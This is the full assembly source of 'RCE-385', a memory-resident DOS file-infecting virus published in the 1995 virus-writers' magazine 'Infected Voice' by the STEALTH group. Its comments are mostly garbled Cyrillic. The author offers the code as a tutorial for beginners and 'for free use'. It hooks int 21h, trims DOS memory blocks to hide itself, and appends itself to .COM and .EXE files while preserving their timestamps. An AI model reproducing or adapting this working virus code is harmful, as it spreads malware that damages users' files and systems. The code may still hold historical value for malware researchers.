;ÛßßßßßßßßßßßßßßßÛ  ß                                        ß          ÛÛßÛÛßÛÛ
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ    Ý Û ÜßÛ Û Üßß Üßß  ÛÛ ßß ÛÛ
;Û   presents    Û° Û Û Û Ûß  Ûß  Û    Û  Ûß  Û Û    Û Û Û Û Û Û  ßÛßß  ÛÛÛÛÛ ÛÛ
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ   ÞÜÜ ÞÜÜ  Þ  ÞÜÜ ÞÜß     ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ  ÛÛÛÛÛÜÛÛ
; °°°°°°°°°°°°°°°°°                                                     JAN 1995
;
; INFECTED VOICE. Issue 4. January 1995.   (C) STEALTH group, Kiev 148, Box 10.
; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!!
;
;--- RCE-385 (!).-------------------------------------------------------------
;  ª¨¥ ®¤­ ª® ¢à¥¬¥­  ¯®è«¨ - ®¡ì«áï ­¥ª¨© ¤ï¤î誠 Œ®á⮢®© ¨ ­ ¯¨á « ᢮©
;ç¥à⮢᪨ ¤®â®è­ë© AdInf -> ­ã ¨ çâ® ¦¥ ⥯¥àì?Œ-¤ ,⥯¥àì ᨤ¨¬ ¬ë â¥å­®ªàëáë
;¨ á⥭ ¥¬ ¯® ⥬ ¤®¡àë¬ ¢à¥¬¥­ ¬,ª®£¤  ã î§¥à  æ¥«ë© §®®¯ àª ­  ¬ è¨­¥ ¡¥£ «,
;  ®­ - ¡« ¦¥­ ¢ ­¥¢¥¤¥­¨¨,á«î­®î ¡à맦 ,¤®ª §ë¢ «,çâ® ­¥âã â ª¨å §¢¥à¥© ¢ RAM¥.
;  € ⥯¥àì ¯®­ áâ ¢¨«¨ ¯à¨¬®ç¥ª ¢á直å - çãâì çâ®,áࠧ㠧 ¢®¯ïâ!„ ¦¥ á⥫§ë
;¯à¨§ ¤ã¬ «¨áì : "€ 祣® íâ® ¬ë ᤥáì ⥫  ᢮¨ ᮪à뢠¥¬,¯àïç áì ª ª *beep ¢
;*beep".ˆ á â¥å ¯®à ¯®è¥« à §« ¤ ¢ á।¥ ‚¨à¬ ª®¢.Šâ® ¯à¥¤« £ ¥â àë«® ¢ § é¨é¥­-
;­ë© ०¨¬ áã­ãâì ¨ ⥬ á ¬ë¬ ¯®¤£«ï¤ë¢ ­¨¥ ¯à¨á¥çì,  ªâ® ¯® ¤®¡à®â¥ ¤ã襢­®©
;®¡¥é ¥â ¯à¨ ॠªæ¨¨ ¤¥â¥ªâ®à  ª ª®£®, «ì áâ®à®¦  ¢¥§¤¥áã饣®,¬ è¨­¥ ¢¨­â
;­  *beep ®¯ã᪠âì!® ¢á¥ íâ® ¯®«­ ï *beep­ï!®á«ã蠩⥠¡à âæë ‚¨à¬ ª¨ --
;­¥ ¢ â¨à ¦¥ áç áâì¥,  ¢ ªà á®â¥  «£®à¨â¬ !!!¥å © «®¢ïâáï ¢ è¨ §¢¥à¨ ¢á直¬¨
;ॢ¨§®à ¬¨,¯ãáâì ä®à¬ â¨â à ᢮¨ ¢¨­âë.Ž 祬 ¡®«ìè¥ ­ á ⥬ ¬¥­ìè¥ î§¥à®¢!
;(ˆ¡® ¬­®£¨¥ ¨§ ­ á ¥é¥ ­¥ ¯®§ ¡ë«¨ Basic).€ «¥ç¨«ª¨ ¢á直¥ - ®­¨ ­ ¬ §¥¬«î
;à áç¨é îâ,¤«ï ­®¢ëå "¯®á ¤®ª"!
;  ® ᨥ ¢á¥ 梥â®çª ¬¨ ®¡§ë¢ ¥âáï!€ ¢®â ¯à¥¤á⠢⥠ᥡ¥,çâ® á¬ëè«¥­­ë© ¬ «ë©
;¦¥« ¥â ­ ¯¨á âì ¯¥à¢®¥ ᢮¥ ¯à®¨§¢¥¤¥­¨¥,  ­¥â ã ­¥£® ­¨ ⥮ਨ ­¨ ¬ â¥àëå
;ª®à¥è¥©-‚¨à¬ ª®¢!‚®â ¨ ¯à¨è«®áì ¬­¥ á®áâ ¢«ïâì ¯®á®¡¨¥-¤«ï-­ ç¨­ îé¨å.
;ë« íâ® ¢¨àãá RCE-666 (¬­®î ¯¨á ­).Aidstest ¥£® ª«¨ç¥â: INFO /666,Web: Die-666.
;­® ¯®â®¬ ®¡à¥§ ¢ ¥£® ¬ «¥­ìª®,¯®«ã稫 ï RCE-385!
;   ¤¥îáì,çâ® Ž ¤«ï ­®¢¨çª®¢- ã祡­¨ª®¬ áâ ­¥â,  ¤«ï £®á¯®¤ « ¬¥à®¢ - ¤®á⮩-
;­ë¬ ¯®«¨£®­®¬!
;-----------------------------------------------------------------------------
;(c) Light General.Kiev.1995. STEALTH group . For free use!
;-----------------------------------------------------------------------------

cseg            segment
                assume  cs:cseg,ds:cseg
                org     100h
start:
                nop             ; à¨§­ ª § à ¦¥­¨ï .COM ä ©« .
                jmp     virr
; Ÿª®¡ë § à ¦¥­­ ï ¯à®£à ¬¬ .(‡ ­¨¬ ¥â 30 ¡ ©â).
                nop
                nop
                mov     ah,09
                lea     dx,wrn
                int     21h
                mov     ax,4c00h
                int     21h
;--------------------------------------
wrn             db      'FRODO LIVES!$'
;--------------------------------------

;################# VIRUS ##################

virr:
                call    $+3
                pop     si
                sub     si,03
;-Hacked mem.-----------------------------------------------------
                push    si
                clc
                mov     ax,0FEFEh       ; à®¢¥à塞 ¯ ¬ïâì ­  § à ¦¥­­®áâì!
                int     21h             ; Š®«¨ ¢¨àãá “†… ᨤ¨â ¢ ¬ è¨­¥ â® ®­
                jc      exit_v          ; ¯®¤­¨¬¥â ä« £ CF!
;- ‘«¥¤ãîé ï ç áâì ª®¤  ¯à®¨§¢®¤¨â "®âªãá뢠­¨¥" 512 ¡ ©â ¯ ¬ïâ¨!-------------
; à¨­æ¨¯ í⮣® "®âªãá뢠­¨ï" ®á­®¢ë¢ ¥âáï ­  ⮬,çâ® ¯à¨ ¢ë¯®«­¥­¨¨ ¯à®£à ¬¬ë
;á¨á⥬  áâந⠯¥à¥¤ ¥¥ ª®¤®¬ â ª¨¥ ¡«®ª¨ (®¡à â¨â¥ ¢­¨¬ ­¨¥ ­  ¢ë¤¥«¥­­ë¥
;ç áâ¨)
;---(1)--- MCB - Memory Control Block («®ª ã¯à ¢«¥­¨ï ¯ ¬ïâìî)
; Ž¡ëç­® ¢ â ª¨å ¡«®ª å DOS ®¯¨á뢠¥â ¢ë¤¥«¥­­ë¥ ¯à®£à ¬¬ ¬ ãç á⪨ ¯ ¬ïâ¨!
;  ”ŽŒ€’ :
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ‘¬¥é¥­¨¥ ï祩ª¨ ®â  ³ „«¨­  ³  §­ ç¥­¨¥
; ­ ç «  ¡«®ª .       ³       ³
;                     ³       ³
;       00            ³  1b   ³ …᫨ á⮨â 'M' â® íâ®â ¡«®ª ­¥ ¯®á«¥¤­¨©
;                     ³       ³            'Z' ¯®á«¥¤­¨©.
;       01            ³  1w   ³ ‘¥£¬¥­â­ë©  ¤à¥á (á ª®â®à®£® ¢ë¤¥«¥­ ¡«®ª).
;++++>  03            ³  1w   ³ „«¨­  ¡«®ª  ¢ ¯ à £à ä å (¯ à £à ä = 16 ¡ ©â)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;„ «ìè¥ ¨¤ãâ ¥é¥ ¤ ­­ë¥,­® ­ á ¨­â¥à¥áã¥â ⮫쪮 íâ®! ÄÄÄÄÄÄÄÄÄÄÄÄ
;
;---(2)--- PSP - Program Segment Prefix (à¥ä¨ªá ¯à®£à ¬¬­®£® ᥣ¬¥­â )
; ‘¤¥áì ᮤ¥à¦¨âáï ¨­ä®à¬ æ¨ï ¤«ï § ¯ã᪠¥¬®© ¯à®£à ¬¬ë!
;  ”ŽŒ€’ :
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ‘¬¥é¥­¨¥ ï祩ª¨ ®â  ³ „«¨­  ³  §­ ç¥­¨¥
; ­ ç «  ¡«®ª .       ³       ³
;                     ³       ³
;       00            ³  1w   ³ ‚ í⮬ á«®¢¥ á⮨⠪®¬ ­¤  int 20h (CD 20h)
;++++>  02            ³  1w   ³ Ž¡é¨© à §¬¥à ¯ ¬ï⨠¢ë¤¥«¥­­ë© ¯à®£à ¬¬¥!
;                     ³       ³ (à¨ § ¯ã᪥ ¯à®£à ¬¬ë DOS ¢ë¤¥«ï¥â ¥© ¢áî
;                     ³       ³ ¯ ¬ïâì "¤® ª®­æ " 640 ª¨«®¡ ©â!)
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;„ «ìè¥ ¨¤ãâ ­¥ ¨­â¥à¥áãî騥 ­ á ¤ ­­ë¥! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;-- ’ ª ¢®â,®â­¨¬ ï ­¥ª®â®à®¥ §­ ç¥­¨¥ ®â ¢ë¤¥«¥­­ëå ï祥ª,¬ë ¬®¦¥¬ ᤥ« âì
;"¤ëàªã" ¢ áâ àè¨å  ¤à¥á å ¯ ¬ï⨠¨ ¯¥à¥­¥á⨠â㤠 ⥫® ¢¨àãá !
;  à ªâ¨ç¥áª ï ॠ«¨§ æ¨ï :
                mov     ax,ds
                dec     ax
                mov     es,ax
                sub     word ptr es:[03],35             ;* 512b
                sub     word ptr ds:[02],35             ;* 512b
                mov     es,ds:[02]      ; ES = ᥣ¬¥­â­.  ¤à. "®âªãè." ¯ ¬ïâ¨!
                push    ds cs
                pop     ds
                xor     di,di
                mov     cx,offset ax_len-offset virr    ; „«¨­  ¢¨àãá !
                rep     movsb           ; ¥à¥­®á¨¬ ¢¨àãá ¢ "®âª." ¯ ¬ïâì!
;-Install int.----------------------------------------------------
                mov     al,21h
                mov     dx,offset int_21h_entry-offset virr
                mov     si,offset ofs_21h-offset virr
                push    es
                pop     ds
                call    inst_int        ; “áâ ­®¢¨¬  ¤à¥á int 21h ­  ᢮©
                                        ; ®¡à ¡®â稪.
                pop     ds
exit_v:
                push    ds
                pop     es
                pop     si
;- COM or EXE ?---------------------------------------------------
; à®¢¥à¨¬ ¨§ ª ª®£® ä ©«  ¬ë áâ à⮢ «¨?
;  â® ¤¥« ¥âáï ¯®â®¬ã,çâ® ¯¥à¥¤ ç  ã¯à ¢«¥­¨ï .COM ¨«¨ .EXE ¯à®£à ¬¬¥
; ¯à®¨á室¨â ¯® à §­®¬ã!
                cmp     byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z'
                jz      L_exe
;-‚ocáâ ­®¢¨âì âਠ¡ ©â  ‡..-------------------------------------
;  “ .COM ä ©«  ­ ¤®¡­® ¢®ááâ ­®¢¨âì ç¥âëॠ¯¥à¢ëå ¡ ©â  ª®â®àë¥ ¬ë ¨§¬¥­¨«¨
; ¯à¨ § à ¦¥­¨ï ä ©«  ­  ¤¨áª¥!(Œë § ¯¨á «¨ â㤠 ª®¬ ­¤ã ¯¥à¥å®¤  ­  ¢¨àãá).
                mov     di,100h
                add     si,offset origin_2_byte-offset virr
; SI =  ¤à¥á ¡ãä¥à  á ®à¨£¨­ «ì­ë¬¨ ¡ ©â ¬¨ .COM ä ©« !
                push    di
                movsw
                movsw
                xor     ax,ax
                ret             ; Go to infected com program.
;-Loaded from exe file.--------------------------------------------
;  € ¢®â í⮠ᯮᮡ  ªâ¨¢ æ¨¨ .EXE ¯à®£à ¬¬ë!
; ‘¤¥áì ¯à®¨á室¨â ¢á¥ ¨­ ç¥ : â.ª. ¯à¨ § à ¦¥­¨¨ ä ©«  ¬ë ¨§¬¥­¨«¨ ¢ ­¥¬
; § £®«®¢®ª ª®â®àë© ãª §ë¢ ¥â á ª ª®£®  ¤à¥á  íâ®â ä ©« § ¯ã᪠îâ!
; (Šâ® ­¥ §­ ¥â,çâ® â ª®¥ § £®«®¢®ª .EXE ä ©«  ¯ãáâì ®¡à â¨âáï ª ª­¨£¥ .€¡¥«ï
; "Ÿ§ëª €áᥬ¡«¥à  ¤«ï IBM PC ¨ ¯à®£à ¬¬¨à®¢ ­¨ï" (áâà. 362)
L_exe:
                mov     ax,es
                add     ax,10h
                add     cs:[offset CS_file-offset virr][si],ax
; ’ ª ¬ë ¢ëç¨á«¨«¨ ᥣ¬¥­â ¢ ª®â®àë© ­ ¤® ¯¥à¥¤ âì ã¯à ¢«¥­¨¥!
                db      0eah    ;-
IP_file         dw      ?       ;- JMP Far CS_file:IP_file
CS_file         dw      ?       ;-
;------------------------------------------------------------------
;  € í⮠ᮡá⢥­­® ç áâì ®â¢¥ç îé ï §  § à ¦¥­¨¥ ¯à®£à ¬¬!
int_21h_entry   proc
                cmp     ax,0FEFEh       ;-…᫨ ᮡà â á¯à è¨¢ ¥â ® ­ «¨ç¨¨
                jnz     _@1             ;-᢮¥© த­¨ â® ¤ âì ¤à㦥᪨© ®â¢¥â.
                stc                     ;-
int_24h_entry:
                mov     al,03
                retf    2

_@1:
                cmp     ax,4b00h        ; …᫨ DOS ¯ëâ ¥âáï ¢ë¯®«­¨âì ¯à®£à ¬¬ã
                jnz     exit_all        ; â® ¬ë § à ¦ ¥¬ ¥¥!
                jmp     infecting       ;
exit_date:
                mov     ax,5701h        ; “áâ ­®¢ª  áâ à®© ¤ âë ä ©« .
                mov     cx,es:[di+13]   ;<- Time
                mov     dx,es:[di+15]   ;<- Date
                int     21h
exit_close:
                mov     ah,3eh          ; ¥à¥¤ ¯¥à¥¤ ç¥© ã¯à ¢«¥­¨ï DOS'ã -
                int     21h             ; § ªà®¥¬ ä ©« ª®â®àë© § à ¦ «¨!
exit_pop:
                lds     dx,cs:[offset ofs_24h-offset virr]
                mov     ax,2524h        ; “áâ ­®¢¨¬ ­  ¬¥áâ® int 24h
                int     21h
                pop     bp
                pop     ds
                pop     es
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
exit_all:
                db      0eah
ofs_21h         dw      0000
seg_21h         dw      0000
int_21h_entry   endp
;-------------------------------------------------------------------
infecting:
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds
                push    bp
                push    ds
                push    dx
;------------------------------------------------------------------
; ¥à¥áâ ¢¨¬  ¤à¥á ¢¥ªâ®à  int 24h ­  ­ è ®¡à ¡®â稪 - â.¥. ­  ¯à®áâãî
;  § £«ãèªã,ª®â®à ï ¢ á«ãç ¥ "§ ª«¥¥­®©" ¤¨áª¥âë ­¥ ¯®§¢®«¨â DOS'ã ªà¨ç âì :
; Write protect error ...
                mov     al,24h
                mov     si,offset ofs_24h-offset virr
                mov     dx,offset int_24h_entry-offset virr
                call    inst_int
                pop     dx
                pop     ds
;-Open file...-----------------------------------------------------
                mov     ax,3d00h
                int     21h
                jc      exit_pop
;-Read header (EXE) or first 4 byte (COM).-------------------------
                mov     bh,3fh
                xchg    ax,bx
                mov     cx,18h
                push    cs
                pop     ds
                mov     dx,offset origin_2_byte-offset virr
                mov     si,dx
                int     21h     ; ‘ç¨â뢠¥¬ ¢ ¡ãä¥à 24 ¯¥à¢ëå ¡ ©â  ¯à®£à ¬¬ë!
_1:
                jc      exit_close      ; …᫨ ®è¨¡ª ,â® § ªà®¥¬ ä ©« ¨ ¢ë©¤¥¬.
;-Look SFT file!-----------------------------
; ‘®¡á⢥­­® £®¢®àï, ¤ «¥¥ ¨¤¥â "¨§î¬¨­ª " ¢¨àãá  - ¨§-§  ­¥¥ ®­ ¨¬¥¥â â ª¨¥
;¬ «ë¥ à §¬¥àë!ˆ â ª,çâ® ¦¥ íâ® :
; ˆ§¢®«¨â¥ «¨ ¢¨¤¥âì ï ¢¥á쬠 «¥­¨¢,¨ ­¥ ®ç¥­ì «î¡«î ¢®§¨âáï á â ª¨¬¨
; àã⨭ ¬¨ ª ª á­ï⨥ ¨ ãáâ ­®¢ª   âਡã⮢,¯¥à¥¬¥é¥­¨¥ ä ©«®¢®£® 㪠§ â¥«ï!
; € ¯®á¥¬ã à áª®¯ « ï ¢­ãâ७­îî ¯®¤à®¡­®áâì DOS' !
; (Ž­  㯮¬¨­ ¥âáï ¢ à ¡®â¥ Š.ƒ.”¨­®£¥­®¢  "‘ ¬®ãç¨â¥«ì ¯® á¨á⥬­ë¬ äã­ªæ¨ï¬
; MS-DOS" (áâà. 67) (  â ª ¦¥ ¢ í«¥ªâà®­­®¬ á¯à ¢®ç­¨ª¥ Help PC)
; (‚¯¥à¢ë¥ ¯à¨¬¥­¥­® ¢ RC-0-512 (666,Written by Dark Avenger.)
; â® SFT -- System File Table - (‘¨á⥬­ ï â ¡«¨æ  ®âªàëâëå ä ©«®¢.)
;Ž­  ᮧ¤ ¥âáï ¤«ï ¢­®¢ì ®âªà뢠¥¬®£® ä ©«  ¨ ᮤ¥à¦¨â ¨­ä®à¬ æ¨î ¨á¯®«ì§ã¥¬ãî
;­¥¯®á।á⢥­­® ¯à®æ¥¤ãà ¬¨ § ¯¨á¨/áç¨â뢠­¨ï DOS' !!!
;
;  ”ŽŒ€’ :
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ‘¬¥é¥­¨¥ ï祩ª¨ ®â  ³ „«¨­  ³  §­ ç¥­¨¥
; ­ ç «  ¡«®ª .(„¥á.) ³       ³
;                     ³       ³
;      00             ³  1w   ³ Š®«-¢® ¤¥áªà¨¯â®à®¢ § ªà¥¯«¥­­ëå §  ä ©«®¬
;      02             ³  1b   ³ ¥¦¨¬ ¤®áâ㯠 § ¤ ­­ë© ¯à¨ ¥£® ®âªàë⨨
;      04             ³  1b   ³ €âਡãâë ä ©« 
;      11             ³  1w   ³ ®¬¥à ¯¥à¢®£® ª« áâ¥à  ä ©« 
;      13             ³  1w   ³ ‚à¥¬ï ¯®á«¥¤­¥© ¬®¤¨ä¨ª æ¨¨ ä ©« 
;      15             ³  1w   ³ „ â  ...
;      17             ³  2w   ³ „«¨­  ä ©« 
;      21             ³  2w   ³ “ª § â¥«ì ¢ ä ©«¥
;      32             ³  11b  ³ ˆ¬ï ¨ à áè¨à¥­¨¥ ä ©«  (¡¥§ '.')
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                mov     ax,1220h        ; ‘¥© ãç áâ®ç¥ª ª®¤  ¯®§¢®«ï¥â
                push    bx              ; ¯®«ãç¨âì  ¤à¥á SFT ¢ ¯ à¥ ES:DI
                int     2fh             ;
                mov     bl,es:[di]      ;
                mov     ax,1216h        ;
                int     2fh             ;
                pop     bx              ;
                mov     byte ptr es:[di+2],02   ; ‚ˆŒ€ˆ…!â¨¬ ¤¥©á⢨¥¬ ¬ë
                                                ;ᤥ« «¨ â ª,ç⮠⥯¥àì DOS
                                                ;áç¨â ¥â,çâ® ä ©« ®âªàëâ ¤«ï
                                                ;§ ¯¨á¨/áç¨â뢠­¨ï!
                                                ; ’.¥. ­ ¬ ­¥ ¯®­ ¤®¡¨«®áì
                                                ;á­¨¬ âì  âਡãâë ä ©« !
                mov     bp,es:[di+17]   ; BP = file len!
;---------------------------------------------
; ’¥¯¥àì ¯à®¢¥à塞 ¡ ©âë ª®â®àë¥ áç¨â «¨ ¢ ¡ãä¥à.
                lodsb
                dec     si
                cmp     al,'M'  ; MZ - ¯à¨§­ ª ⮣®,çâ® íâ® .EXE ä ©«!
                jz      _EXE
                cmp     al,90h  ; NOP - ¥á«¨ íâ® .COM ä ©« â® ¯à®¢¥à¨¬ ¥£® ­ 
                                ; ¯®¢â®à­ãî § à ¦¥­­®áâì!(‘¬®âà¨â¥ ¢ ­ ç «®)
_1d:
                jz      exit_close
;-Infect .COM --------------------------------
; ’ ª § à ¦ îâ .COM ä ©«ë!
                xchg    ax,bp
                cmp     ax,65000
                ja      exit_close              ;„«¨­  ¡®«ìè¥ ¤®¯ãá⨬®©.

                mov     es:[di+21],ax           ;‘â ¢¨¬ ä ©«®¢ë© 㪠§ â¥«ì ¢
                                                ;ª®­¥æ ä ©« !
;-Make JMP------------------------------------
; ’.ª. ¯à¨ § à ¦¥­¨¨ ¬ë ¢¯¨á뢠¥¬ ¢ ­ ç «® .COM ä ©«  ¯¥à¥å®¤ ­  ⥫® ¢¨àãá  â®
;¬ë ¤®«¦­ë ¢ëç¨á«¨âì ᬥ饭¨¥ í⮣® ¯¥à¥å®¤ !
                sub     ax,04
                mov     ds:[offset jmp_n-offset virr],ax
                call    write_virus     ; ¨è¥¬ ¢¨àãá ¢ ª®­¥æ ä ©« !
                mov     cx,04h  ; € ⥯¥àì ¯¨è¥¬ ¢ ­ ç «® ä ©«  â®â á ¬ë©
                mov     dx,offset new_3_byte-offset virr        ; ¯¥à¥å®¤!
exit_write:
                mov     ah,40h
                int     21h
_1b:            jmp     exit_date
;-Sub. for write virus body (only) in file.----
write_virus     proc
                xor     dx,dx
                mov     ah,40h
                mov     cx,offset ax_len-offset virr
                int     21h
                mov     es:[di+21],dx   ; F.P = start file!
                mov     es:[di+23],dx
                cmp     ax,cx
                jnz     _1c
                ret
_1c:
                pop     ax
                jmp     _1b     ; exit_date!
write_virus     endp
;-Infect .EXE ---------------------------------
_EXE:
; € ⥯¥àì ¢ëáç¨â ¥¬ ¤«¨­ã ä ©« , ¨áå®¤ï ¨§ ¤ ­­ëå § ¯¨á ­­ëå ¢ § £®«®¢ª¥
; .EXE ä ©« ! ˆ ¥á«¨ ®­  ­¥ ᮩ¤¥âáï á § ¯¨á ­®© ¢ SFT, â® ¬ë áç¨â ¥¬,çâ®
; íâ® ä ©«, ᮤ¥à¦ é¨© ­¥ï¢­ë© ®¢¥à«¥© ¨ ­¥ § à ¦ ¥¬ ¥£®!
                mov     ax,ds:[si+4]            ; Pages (512b).
                dec     ax
                mov     cx,512
                mul     cx
                add     ax,[si+2]       ; AX = File len from header.
                cmp     ax,bp           ; Real file len = ax ?
                jnz     _1b             ; No - this is overlay.
;-----
                mov     es:[di+21],ax   ; “ª § â¥«ì ¢ ª®­¥æ ä ©« .
                mov     es:[di+23],dx
;-Get header.-----------------------------------
; ‡ ¯®¬¨­ ¥¬  ¤à¥á á ª®â®à®£® ¬ë ¡ã¤¥¬ § ¯ã᪠âì .EXE ¯à®£à ¬¬ã!
                mov     ax,[si+14h]
                mov     ds:[offset IP_file-offset virr],ax
                mov     ax,[si+16h]
                mov     ds:[offset CS_file-offset virr],ax
;-----------------------------------------------
; ‚ëç¨á«¨¬ ­®¢ë©  ¤à¥á (â.¥. ¤«ï § ¯ã᪠ ¢¨àãá  ¯à¨ áâ à⥠¯à®£à ¬¬ë)
                xchg    ax,bp
                mov     cx,10h
                div     cx
                sub     ax,[si+8]
                sbb     dx,0
                mov     [si+16h],ax     ; ReloCS.
                mov     [si+14h],dx     ; ExeIP.
;-Correcting file len in header.----------------
;’¥¯¥àì ®âª®à४â¨à㥬 ¤«¨­ã ¢ § £®«®¢ª¥ .EXE ä ©« !
;(…„“…†„€ž!„«¨­  ¢¨àãá  = 385 ,  ¬ë 㢥«¨ç¨¢ ¥¬ ¤«¨­ã ä ©«  ¢ § £®«®¢ª¥
; ­¥ ­  385 ,  ­  512!!!’.¥. ⥯¥àì ¤à㣨¥ "ã¬­ë¥ ¢¨àãáë" ­¥ ¡ã¤ãâ § à ¦ âì
; íâ®â ä ©«).‘®¡á⢥­­® £®¢®àï íâ  ®á®¡¥­­®áâì ï¥âáï ¯à¨§­ ª®¬ § à ¦¥­¨ï,-
; ¬ë ¢¥¤ì ­¥ § à ¦ ¥¬ ®¢¥à«¥¨!
                inc     word ptr ds:[si+4]
;-Write virus to file.--------------------------
                call    write_virus
;-Write new header.-----------------------------
                mov     cx,18h
                mov     dx,si   ; DX = offset header.
                jmp     exit_write      ; ®¤£®â®¢¨¢ ¢á¥ ª § ¯¨á¨ ¨á¯à ¢«¥­­®£®
                                        ;§ £®«®¢ª  ¬ë ¯¥à¥¤ ¥¬ ã¯à ¢«¥­¨¥ ¯àאַ
                                        ;­  ª®¬ ­¤ã int 21h!
;----------------------------------------------
inst_int        proc
                mov     ah,35h
                int     21h
                mov     ds:[si],bx
                mov     ds:[si+2],es
                mov     ah,25h
                int     21h
                ret
inst_int        endp
new_3_byte      db      90h     ; NOP
                db      0e9h    ; JMP nn
jmp_n           dw      0000    ; nn
;-Header for EXE file & buffer for first 5 bytes COM's file.--
origin_2_byte:
header:
                db      4 dup (90h)     ; NOPs
ax_len          db      ?
                db      20h dup (?)     ; For EXE header.
ofs_24h         dw      ?
seg_24h         dw      ?
;********************************************************
cseg            ends
                end     start

;-- Written by Light General.Kiev.1995.For free use! ----